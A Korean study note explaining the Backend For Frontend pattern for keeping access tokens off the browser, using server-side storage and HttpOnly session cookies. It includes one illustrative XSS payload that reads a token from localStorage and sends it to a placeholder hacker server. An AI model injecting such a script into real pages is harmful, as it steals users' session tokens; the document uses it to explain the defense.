BFF (Backend For Frontend)

개념

BFF는 프론트엔드 전용 백엔드 서버다. 원래는 "모바일/웹 등 프론트마다 최적화된 API를 제공"하려고 나온 패턴인데, 현대 SPA에서는 토큰을 브라우저에 노출하지 않으려는 보안 아키텍처로 더 많이 쓰인다. 브라우저는 BFF와만 통신하고, 실제 백엔드 API는 BFF가 대신 호출한다.

왜 필요한가

accessToken을 브라우저에 저장하면 안 되는 이유

• JWT는 인코딩만 했을 뿐이라 복호화 없이 내용이 다 보인다
• localStorage에 저장하면 XSS 공격으로 털릴 수 있음

<!-- 댓글 같은 입력창에 이런 게 심어지면 -->
<script>
  fetch("https://해커서버.com?token=" + localStorage.getItem("accessToken"));
</script>

댓글 같은 사용자 입력 자리에 스크립트가 들어가면 다른 사용자의 토큰이 해커에게 전송된다. httpOnly 쿠키로 바꾼다고 해도 토큰 자체가 브라우저에 있으면 리스크 면이 넓다.

그래서 BFF

토큰을 서버(BFF)에만 두고 브라우저엔 세션 ID만 주는 게 BFF 패턴의 보안 흐름이다.

BFF 방식 흐름

• accessToken은 BFF가 Redis 같은 서버 저장소에 보관
• 브라우저에는 sid(세션 ID)만 전달
• sid는 HttpOnly 쿠키로 저장 → 자바스크립트로 읽을 수 없음
• 브라우저가 sid를 들고 오면 BFF가 accessToken을 꺼내 백엔드 API 대신 호출

브라우저 →(sid 쿠키)→ BFF →(accessToken)→ 백엔드 API

HttpOnly 쿠키

• 자바스크립트로 읽기 불가 (document.cookie에 잡히지 않음)
• 브라우저가 요청할 때 자동으로 붙여줌
• XSS로 localStorage를 뒤져도 쿠키 내용은 못 가져감

HttpOnly만으로 CSRF를 막지는 못한다. XSS-CSRF에서 다룬 대로 SameSite=Lax를 같이 쓰거나 CSRF 토큰을 별도로 검증해야 한다.

BFF의 다른 이득

보안만을 위한 패턴은 아니다. 같이 따라오는 이점이 몇 가지 있다.

• accessToken, refreshToken 관리를 서버에서 한 곳으로 모음
• 여러 백엔드 API를 프론트 입장에서 하나처럼 사용
• 브라우저에 백엔드 API 주소가 노출되지 않음
• 프론트별 최적화(모바일용 응답 스키마 축소 등)를 가능하게 함

더 보기

• API-Gateway — BFF가 게이트웨이와 결합된 형태
• OAuth-OIDC-SAML — BFF가 처리하는 OIDC 흐름
• XSS-CSRF — BFF가 막으려는 공격들
• Nginx — BFF 앞단에서 TLS 종료와 라우팅을 담당